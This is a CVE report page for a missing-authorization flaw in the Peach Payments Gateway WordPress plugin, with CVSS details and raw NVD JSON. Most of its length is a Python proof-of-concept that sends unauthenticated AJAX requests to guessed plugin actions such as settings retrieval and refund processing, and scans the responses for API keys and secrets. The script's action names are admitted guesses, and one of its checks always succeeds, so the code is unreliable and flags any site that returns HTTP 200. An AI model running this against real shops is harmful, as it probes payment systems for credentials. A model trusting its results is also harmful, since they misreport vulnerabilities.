Security Vulnerability Report
中文
CVE-2025-67942 CVSS 6.5 MEDIUM

CVE-2025-67942

Published: 2026-01-22 17:16:03
Last Modified: 2026-04-27 18:16:51

Description

Missing Authorization vulnerability in peachpayments Peach Payments Gateway wc-peach-payments-gateway allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Peach Payments Gateway: from n/a through <= 3.3.6.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Peach Payments Gateway (wc-peach-payments-gateway) <= 3.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67942 PoC - Peach Payments Gateway Missing Authorization # This PoC demonstrates the access control vulnerability in WordPress plugin import requests import sys TARGET_URL = "https://vulnerable-site.com" def test_missing_authorization(): """ Test for missing authorization in Peach Payments Gateway plugin. The plugin's admin-ajax.php or REST API endpoints lack proper capability checks, allowing unauthorized access to sensitive functions. """ # Common WordPress AJAX endpoint ajax_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Potential vulnerable actions in Peach Payments Gateway # These actions may lack capability checks vulnerable_actions = [ "peach_payments_get_settings", "peach_payments_get_transactions", "peach_payments_update_config", "peach_payments_process_refund", "peach_payments_get_payment_details" ] print("[*] Testing Peach Payments Gateway for Missing Authorization...") print(f"[*] Target: {TARGET_URL}") print("[*] Plugin: wc-peach-payments-gateway <= 3.3.6\n") for action in vulnerable_actions: # Craft request without authentication cookies data = { "action": action, "nonce": "" # May not be required due to missing check } try: # Send unauthenticated request response = requests.post(ajax_endpoint, data=data, timeout=10) # Check if response indicates successful unauthorized access if response.status_code == 200: # Check for sensitive data exposure if any(keyword in response.text.lower() for keyword in ["api_key", "secret", "transaction", "payment", "settings"]): print(f"[!] VULNERABLE: Action '{action}' allows unauthorized access!") print(f"[+] Response contains sensitive data") print(f"[*] Response preview: {response.text[:200]}...") return True elif "" in response.text or response.json(): print(f"[!] VULNERABLE: Action '{action}' accessible without auth") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing action '{action}': {e}") print("[*] No obvious vulnerability detected (manual verification recommended)") return False def check_plugin_version(): """ Check if target is running vulnerable version of the plugin """ # Try to access plugin readme or script version info version_urls = [ f"{TARGET_URL}/wp-content/plugins/wc-peach-payments-gateway/readme.txt", f"{TARGET_URL}/wp-content/plugins/wc-peach-payments-gateway/wc-peach-payments-gateway.php" ] for url in version_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: # Look for version number import re version_match = re.search(r'Version:\s*([\d.]+)', response.text) if version_match: version = version_match.group(1) print(f"[*] Detected plugin version: {version}") if tuple(map(int, version.split('.'))) <= (3, 3, 6): print("[!] Target is running vulnerable version!") return True except: pass return False if __name__ == "__main__": check_plugin_version() test_missing_authorization() print("\n[*] For exploitation, use authenticated admin session or\n" + " directly call vulnerable AJAX/REST endpoints with crafted data.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67942", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:03.127", "lastModified": "2026-04-27T18:16:50.857", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in peachpayments Peach Payments Gateway wc-peach-payments-gateway allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Peach Payments Gateway: from n/a through <= 3.3.6."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en peachpayments Peach Payments Gateway wc-peach-payments-gateway permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Peach Payments Gateway: desde n/a hasta &lt;= 3.3.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wc-peach-payments-gateway/vulnerability/wordpress-peach-payments-gateway-plugin-3-3-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}